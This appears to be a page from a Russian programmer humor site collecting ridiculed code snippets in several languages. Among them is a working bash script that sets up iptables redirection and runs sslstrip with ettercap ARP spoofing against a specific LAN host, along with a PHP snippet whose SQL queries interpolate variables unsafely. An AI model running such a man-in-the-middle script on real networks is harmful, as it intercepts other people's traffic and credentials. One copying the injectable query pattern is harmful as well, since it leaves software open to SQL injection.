-
Лучший говнокод
- В номинации:
-
- За время:
-
-
+151
- 1
- 2
- 3
- 4
- 5
- 6
- 7
$friends = mysql_query("(SELECT * FROM `friends` WHERE `from` LIKE '{$act}' AND `to` LIKE '{$act}' AND `isaccepted` = '1') UNION (SELECT `id` , `name` , `surname` FROM `users_info`);");
$friend = array();$loop=0;
while($fetch = mysql_fetch_assoc($friends)) {
if ($fetch['from'] == $act) $search=$fetch['to']; else $search=$fetch['from'];
$friend[$loop]=mysql_fetch_assoc(mysql_query("SELECT `id`,`name`,`surname` FROM `users_info` where `id`='{$search}'"));
$loop++;
}
Почему не работает?
yanislavb,
05 Января 2015
-
+121
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
class Program
{
static int x = 0;
static int f()
{
x = x + 10;
return 1;
}
public static void Main()
{
x += f();
System.Console.WriteLine(x);
}
}
Следите за руками! Чему же в итоге равно x?
Проверить себя: http://ideone.com/v8rktM
Источник: http://blogs.msdn.com/b/oldnewthing/archive/2014/08/14/10549885.aspx
someone,
15 Августа 2014
-
−165
Из дипломной работы. Человек хоть раз открывал свой паспорт?
bormand,
19 Июня 2014
-
+136
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
private Action<Action, Action<Exception>> ToCallbackAction(Action a)
{
return (sc, ec) =>
{
try
{
a();
sc();
}
catch (Exception e)
{
ec(e);
}
};
}
толково или говно? Мнения разделились
taburetka,
01 Апреля 2014
-
−129
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
#!/bin/bash
FILE="/proc/sys/net/ipv4/ip_forward"
echo "Время Наименование Статус" >> /tmp/for_log.list
echo "______________________________________________________________" >> /tmp/for_log.list
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
IP_FORWARD(){
while true; do
CT_FORWARD=`cat /proc/sys/net/ipv4/ip_forward`
if [ "$CT_FORWARD" = 1 ] ;then
echo > /dev/null
else
echo "1" > $FILE
fi
#sleep 3
done
}
CON_ETHERNET(){
while true; do
echo $(date +%H:%M:%S)" Проверка интернет соединения в обработке" >> /tmp/for_log.list
ping -c 3 ya.ru > /dev/null
if [ $? = "0" ];then
echo $(date +%H:%M:%S)" Подключение к интернет есть" >> /tmp/for_log.list
START_SNIFFIG
else
echo $(date +%H:%M:%S)" Нет интернет подключение fail" >> /tmp/for_log.list
if [ "`ps sx | grep sslstrip | grep -v grep | awk '{ print $10; }'`" = "sslstrip" ];then
$POSE=`ps sx | grep sslstrip | grep -v grep | awk '{ print $2; }'`
kill -9 $POSE >rpmlist 2> /dev/null
echo "Процесс sslstrip... убит"
echo $(date +%H:%M:%S)" Процесс sslstrip убит" >> /tmp/for_log.list
else
echo > /dev/null
fi
if [ "`ps sx | grep tcpdump | grep -v grep | awk '{ print $10; }'`" = "tcpdump" ];then
kill -9 `ps all | grep ettercap | grep -v grep | awk '{ print $3; }'` >rpmlist 2> /dev/null
echo
echo "Процесс ettercap... убит"
echo $(date +%H:%M:%S)" Процесс ettercap убит" >> /tmp/for_log.list
kill -9 `ps all | grep sslstrip | grep -v grep | awk '{ print $2; }'` >rpmlist 2> /dev/null
echo
echo "Процесс sslstrip... убит"
echo $(date +%H:%M:%S)" Процесс sslsrip убит" >> /tmp/for_log.list
else
echo > /dev/null
fi
fi
sleep 120
done
}
START_SNIFFIG(){
#Проверяем, запущен ли уже сниффер
sleep 4
CHECK_SSLSTRIP=`ps sx | grep sslstrip | grep -v grep | awk '{ print $10; }'`
if [ "$CHECK_SSLSTRIP" = "sslstrip" ];then
echo $(date +%H:%M:%S)" Процесс sslstrip включен" >> /tmp/for_log.list
echo > /dev/null
else
#sslstrip -a -k -f & ettercap -i wlan3 -TqM arp:remote -L $(date +%d-%m-%Y__%H:%M) /192.168.1.1/ /192.168.1.102/
echo $(date +%H:%M:%S)" Включаю sslstrip включен успешно" >> /tmp/for_log.list
sslstrip -a -f &
fi
CHECK_ETTERCAP=`ps all | grep ettercap | grep -v grep | awk '{ print $13; }'`
if [ "$CHECK_ETTERCAP" = "ettercap" ];then
echo $(date +%H:%M:%S)" Процесс ettercap включен" >> /tmp/for_log.list
else
echo $(date +%H:%M:%S)" Включаю etttercap включен успешно" >> /tmp/for_log.list
ettercap -i wlan0 -L $(date +%H:%M:%S) -TqM arp:remote -P autoadd /192.168.1.1/ /192.168.1.102/ &
fi
}
IP_FORWARD & CON_ETHERNET
1. Проверяет интернет соединение
2. При наличии инета врубает sslstrip и ettercap
3. Если инета нету, ждем 2 минуты, и повторяем проверку заного
___________
Галимый полуавтоматический скрипт, писал челу под телефон на котором виртуалка линухи
MassEnjoy,
23 Февраля 2014
-
+131
- 001
- 002
- 003
- 004
- 005
- 006
- 007
- 008
- 009
- 010
- 011
- 012
- 013
- 014
- 015
- 016
- 017
- 018
- 019
- 020
- 021
- 022
- 023
- 024
- 025
- 026
- 027
- 028
- 029
- 030
- 031
- 032
- 033
- 034
- 035
- 036
- 037
- 038
- 039
- 040
- 041
- 042
- 043
- 044
- 045
- 046
- 047
- 048
- 049
- 050
- 051
- 052
- 053
- 054
- 055
- 056
- 057
- 058
- 059
- 060
- 061
- 062
- 063
- 064
- 065
- 066
- 067
- 068
- 069
- 070
- 071
- 072
- 073
- 074
- 075
- 076
- 077
- 078
- 079
- 080
- 081
- 082
- 083
- 084
- 085
- 086
- 087
- 088
- 089
- 090
- 091
- 092
- 093
- 094
- 095
- 096
- 097
- 098
- 099
- 100
#include <stdio.h>
#include <stdlib.h>
/*
Declare array of functions that return array of functions with
one parameter - function accepting array of functions returning
a pointer to function void(void). No typedefs.
Decoded to the following:
1) An array of E.
2) E = a function that takes void and returns an array of D (returns an array taken to mean a pointer to D).
3) D = a function that takes C and returns void.
4) C = a function that takes an array of B and returns void.
5) B = a function that takes void and returns A.
6) A = a pointer to void(void).
*/
/* Using typedefs */
typedef void (*tA) (void);
typedef tA (*tB) (void);
typedef void (*tC) (tB b[]);
typedef void (*tD) (tC c);
typedef tD* (*tE) (void);
tE tArray[2];
/* Not using typedefs */
void (*_A) (void);
void (* (*_B) (void) ) (void);
void (*_C) ( void (* (*_B[]) (void) ) (void) );
void (*_D) ( void (*_C) ( void (* (*_B[]) (void) ) (void) ) );
void (** (*_E) (void) ) ( void (*_C) ( void (* (*_B[]) (void) ) (void) ) );
void (** (*_Array[2]) (void) ) ( void (*_C) ( void (* (*_B[]) (void) ) (void) ) );
/* Some concrete functions for testing */
void fA(void)
{
printf("fA\n");
}
tA fB(void)
{
printf("fB\n");
return &fA;
}
void fC(tB b[])
{
tA _a;
printf("fC\n");
_a = (*b[0])();
(*_a)();
}
void fD(tC c)
{
tB b[1];
printf("fD\n");
b[0] = &fB;
(*c)(b);
}
tD* fE(void)
{
tD *d;
printf("fE\n");
d = malloc(sizeof(tD));
d[0] = &fD;
return d;
}
int main()
{
tA _a;
tB _b;
tC _c;
tD _d;
tE _e;
tB b[1];
tD *d;
_a = &fA;
_A = &fA;
printf("_a\n");
(*_a)();
printf("_A\n");
(*_A)();
_b = &fB;
_B = &fB;
printf("_b\n");
_a = (*_b)();
(*_a)();
printf("_B\n");
_a = (*_B)();
(*_a)();
_c = &fC;
_C = &fC;
b[0] = _b;
printf("_c\n");
(*_c)(b);
printf("_C\n");
(*_C)(b);
_d = &fD;
_D = &fD;
printf("_d\n");
(*_d)(&fC);
printf("_D\n");
(*_D)(&fC);
_e = &fE;
_E = &fE;
printf("_e\n");
d = (*_e)();
(*d[0])(&fC);
free(d);
printf("_E\n");
d = (*_E)();
(*d[0])(&fC);
free(d);
printf("tArray\n");
tArray[0] = &fE;
d = (*tArray[0])();
(*d[0])(&fC);
free(d);
printf("_Array\n");
_Array[0] = &fE;
d = (*_Array[0])();
(*d[0])(&fC);
free(d);
return 0;
}
LispGovno,
08 Февраля 2014
-
+129
- 1
- 2
Func = fun(X, Y) -> if X > Y -> true; true -> false end end,
...
Из одного из видеоуроков по Erlang.
Удивлюсь, как можно было даже в этом языке сделать boolshit...
tirinox,
25 Декабря 2013
-
+139
- 1
- 2
- 3
- 4
- 5
- 6
- 7
// drivers/usb/serial/cp210x.c
static void cp210x_close(struct usb_serial_port *port)
{
usb_serial_generic_close(port);
cp210x_set_config_single(port, CP210X_IFC_ENABLE, UART_DISABLE);
}
Дело было так.
На прошлой неделе, по просьбе одного знакомого, я сел писать прошивку для attiny2313, которая должна принять по RS-232 строчку и исполнить соответствующую команду. Потратив несколько минут на раскур даташита, а именно главы, посвященной USART, я набросал тупейший код на сях, залил его на чип, и затестил через миником. Все работало нормально, ничто не предвещало беды...
Но когда я попробовал послать команду через echo, меня ждал облом. Она не выполнилась. На 10 раз проверил код - все ок, в миникоме пашет идеально, через echo - куй. Под виндой та же ересь. Чем отличается echo от миникома? Правильно, тем, что оно отправляет символы подряд, без пауз. Контроллер тактировался от внутренного генератора, поэтому я подумал, что оный хреново откалиброван, и что надо бы его настроить... Вечер ушел на написание прошивки для калибровки... Оказалось, что частота действительно уплыла на 2% от расчетной, что некритично. Ну да пофиг, откалибровался до +-0.5%. Запустил echo - куй. Послал все нахрен, и пошел спать...
(Продолжение в комменте ниже)
bormand,
26 Ноября 2013
-
+106
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
for i:= 1 to 24 do read (a[i]);
if (abs(sqrt ((a[1]-a[4])*(a[1]-a[4])+(a[2]-a[5])*(a[2]-a[5])+(a[3]-a[6])*(a[3]-a[6]))) = abs(sqrt ((a[4]-a[7])*(a[4]-a[7])+(a[5]-a[8])*(a[5]-a[8])+(a[6]-a[9])*(a[6]-a[9]))) and
(abs(sqrt ((a[4]-a[7])*(a[4]-a[7])+(a[5]-a[8])*(a[5]-a[8])+(a[6]-a[9])*(a[6]-a[9]))) =abs(sqrt ((a[7]-a[10])*(a[7]-a[10])+(a[8]-a[11])*(a[8]-a[11])+(a[9]-a[12])*(a[9]-a[12]))) and
(abs(sqrt ((a[7]-a[10])*(a[7]-a[10])+(a[8]-a[11])*(a[8]-a[11])+(a[9]-a[12])*(a[9]-a[12]))) =abs(sqrt ((a[10]-a[1])*(a[10]-a[1])+(a[11]-a[2])*(a[11]-a[2])+(a[12]-a[3])*(a[12]-a[3])))and
(abs(sqrt ((a[13]-a[16])*(a[13]-a[16])+(a[14]-a[17])*(a[14]-a[17])+(a[15]-a[18])*(a[15]-a[18]))) = abs(sqrt ((a[13]-a[16])*(a[13]-a[16])+(a[14]-a[17])*(a[14]-a[17])+(a[15]-a[18])*(a[15]-a[18]))) and
(abs(sqrt ((a[13]-a[16])*(a[13]-a[16])+(a[14]-a[17])*(a[14]-a[17])+(a[15]-a[18])*(a[15]-a[18]))) =abs(sqrt ((a[16]-a[19])*(a[16]-a[19])+(a[17]-a[20])*(a[17]-a[20])+(a[18]-a[21])*(a[18]-a[21]))) and
(abs(sqrt ((a[16]-a[19])*(a[16]-a[19])+(a[17]-a[20])*(a[17]-a[20])+(a[18]-a[21])*(a[18]-a[21]))) =abs (sqrt ((a[19]-a[22])*(a[19]-a[22])+(a[20]-a[23])*(a[20]-a[23])+(a[21]-a[24])*(a[21]-a[24]))) and
(abs(sqrt ((a[19]-a[22])*(a[19]-a[22])+(a[20]-a[23])*(a[20]-a[23])+(a[21]-a[24])*(a[21]-a[24]))) =abs(sqrt ((a[22]-a[13])*(a[22]-a[13])+(a[23]-a[14])*(a[23]-a[14])+(a[24]-a[15])*(a[24]-a[15]))) and
(abs(sqrt ((a[22]-a[13])*(a[22]-a[13])+(a[23]-a[14])*(a[23]-a[14])+(a[24]-a[15])*(a[24]-a[15])))=abs(sqrt ((a[13]-a[1])*(a[13]-a[1])+(a[14]-a[2])*(a[14]-a[2])+(a[15]-a[3])*(a[15]-a[3]))) and
(abs(sqrt ((a[13]-a[1])*(a[13]-a[1])+(a[14]-a[2])*(a[14]-a[2])+(a[15]-a[3])*(a[15]-a[3]))) = abs(sqrt ((a[16]-a[4])*(a[16]-a[4])+(a[17]-a[5])*(a[17]-a[5])+(a[18]-a[6])*(a[18]-a[6])))and
(abs(sqrt ((a[16]-a[4])*(a[16]-a[4])+(a[17]-a[5])*(a[17]-a[5])+(a[18]-a[6])*(a[18]-a[6])))= abs(sqrt ((a[19]-a[1])*(a[19]-a[7])+(a[20]-a[8])*(a[20]-a[8])+(a[21]-a[9])*(a[21]-a[9]))) and
(abs(sqrt ((a[19]-a[1])*(a[19]-a[7])+(a[20]-a[8])*(a[20]-a[8])+(a[21]-a[9])*(a[21]-a[9]))) = abs(sqrt ((a[22]-a[10])*(a[22]-a[10])+(a[23]-a[11])*(a[23]-a[11])+(a[24]-a[12])*(a[24]-a[12])))) then writeln ('yes');
Readln;
программа выясняет, является ли фигура с задаными 24 координатами кубом
Abbath,
20 Октября 2013
-
+2
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
class pool_exeption: public std::exception
{
virtual const char* what() const throw()
{
return "Pool out of bounds";
}
}pool_out_of_bounds;
class pool_exeption2: public std::exception
{
virtual const char* what() const throw()
{
return "Pool block is too small";
}
}pool_small_block;
А потом эти исключения кидаются по значению: throw pool_out_of_bounds;
virtual const char* WAT()
Yuuri,
18 Октября 2013